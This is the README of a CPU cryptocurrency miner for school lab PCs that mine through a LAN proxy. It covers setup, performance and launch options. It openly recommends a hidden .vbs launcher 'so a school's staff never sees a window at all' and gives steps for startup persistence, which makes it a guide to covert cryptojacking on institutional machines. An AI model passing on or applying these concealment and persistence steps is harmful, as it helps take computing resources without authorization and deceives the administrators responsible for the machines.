# CRB Lab Miner (v1.4.0)

**Changelog:**
- v1.4.0 - replaced `crb-lab-miner-hidden.bat` with
  `crb-lab-miner-hidden.vbs`: the `.bat` version still briefly flashed a
  console window (it has to print "Started in background..." before the
  hidden child takes over), which showed up as an unwanted popup - not
  actually hidden. The `.vbs` launches the miner hidden from the very
  first moment, no window ever appears, not even briefly. Use the `.vbs`
  if you need it to be genuinely invisible (e.g. so a school's staff never
  sees a window at all).
- v1.3.0 - portable Go engine, address optional when using our proxy,
  colored output, `-background` flag added.

For PCs that have **no internet**, only LAN access to a server running the
**CRB Stratum Proxy** (see the main Stratum Proxy download on
cereblix.sinarlink.com/download). This is the piece that goes on the lab
PCs themselves.

This is our own Stratum miner (`crb-compat-miner`), built specifically so
it runs on **any x86-64 CPU** - no AVX2 or any other special instruction
set required, unlike most CRB CPU miners. It uses the **exact same
NeuroMorph hashing code the official pool/node use**
(`cereblix/neuromorph`, the canonical Go implementation from the official
Cereblix repository, imported as-is - not reimplemented from scratch), so
its hashes are verified byte-identical to upstream (differential-tested
across 700 random inputs before release, spanning both pre- and
post-dataset-activation heights).

**No address needed on this PC when using our CRB Stratum Proxy** - the
proxy has its own configured address/worker and ignores whatever this
miner sends, so setup here is just the gateway's IP and port. (If you
instead point this at something else that isn't our proxy - e.g. the
official bridge directly - that path DOES check the address for real, and
needs a genuine `crb1...` one.)

## Why you downloaded a folder and not just one .exe

This is a **command-line tool** - if you double-click the raw `.exe` by
itself with no arguments, a window flashes open and closes immediately.
That's expected: it's printing "missing required arguments" and exiting,
not crashing. Always launch mining through `crb-lab-miner.bat` (Windows)
or `crb-lab-miner.sh` (Linux), which supply those arguments for you and
keep it running - never the raw `crb-compat-miner-*` file directly.

## Setup (Windows)

1. Copy this whole folder to each lab PC, e.g. `C:\crb-lab-miner\`.
2. Edit `crb-lab-miner.bat` in Notepad: change `GATEWAY_IP` to the LAN IP
   of the school's gateway server (ask whoever set up the CRB Stratum
   Proxy, or run `ipconfig` on that server). That's it - no address needed.
3. Double-click `crb-lab-miner.bat` to run. Want it running with
   **absolutely no visible window** (not even a brief flash) instead? Edit
   `crb-lab-miner-hidden.vbs` (same `GATEWAY_IP` field, near the top) and
   double-click THAT instead - logs go to `crb-compat-miner.log` in the
   same folder either way.
4. **To run automatically on startup**: press `Win+R`, type
   `shell:startup`, press Enter, then drag a shortcut to whichever file
   you used (`.bat` or `.vbs`) into that folder.

## Setup (Linux)

```sh
chmod +x crb-lab-miner.sh
# edit GATEWAY_IP at the top of the file first
./crb-lab-miner.sh
```

## Console output

Colored by default in a real terminal (green = accepted share, red =
rejected/error, cyan = periodic hashrate) - same visual language as xmrig.
Automatically plain when redirected to a file, so logs stay clean. Force
it off with `-no-color` if you prefer plain text either way.

## Running hidden (Windows) - genuinely no window, not even briefly

Use `crb-lab-miner-hidden.vbs` (edit `GATEWAY_IP` near the top first). It
launches the miner directly with a hidden window style via Windows
Script Host - unlike a `.bat` file (which always opens a console for at
least a moment, even if something inside it tries to hide afterward),
double-clicking a `.vbs` never shows any window at all. Logs still go to
`crb-compat-miner.log` next to the binary.

Note there's no auto-restart-on-crash for the hidden process (unlike the
visible `.bat`, which loops and restarts it); if that matters for
unattended use, pair it with Task Scheduler set to relaunch on failure and
run the same command the `.vbs` uses, or just use the normal
visible-window `.bat`.

## Performance note

Because this runs on any CPU without needing AVX2/VAES hardware
acceleration, it's slower per PC than hand-tuned miners that require that
hardware (there's no way around that in portable code - it's a real
hardware ceiling, not a tuning gap). Two verified-safe speedups are
already applied (a redundant buffer copy removed from the scratchpad fill,
and Go garbage-collector tuning) - about 4-5% faster than an unmodified
build, measured directly. More threads generally means more total
hashrate on multi-core CPUs even though each thread gets a bit slower as
more run at once (measured directly: 1 thread ~185 H/s, 8 threads ~891 H/s
aggregate on an 8-core test machine) - the default (`-threads` = all
logical CPUs) is already the best setting for most PCs.

## Source

Built on the unmodified `cereblix/neuromorph` wire-format logic from the
official Cereblix repository (github.com/CereblixCRB/cereblix) for hashing
correctness, with our own Stratum client code on top.
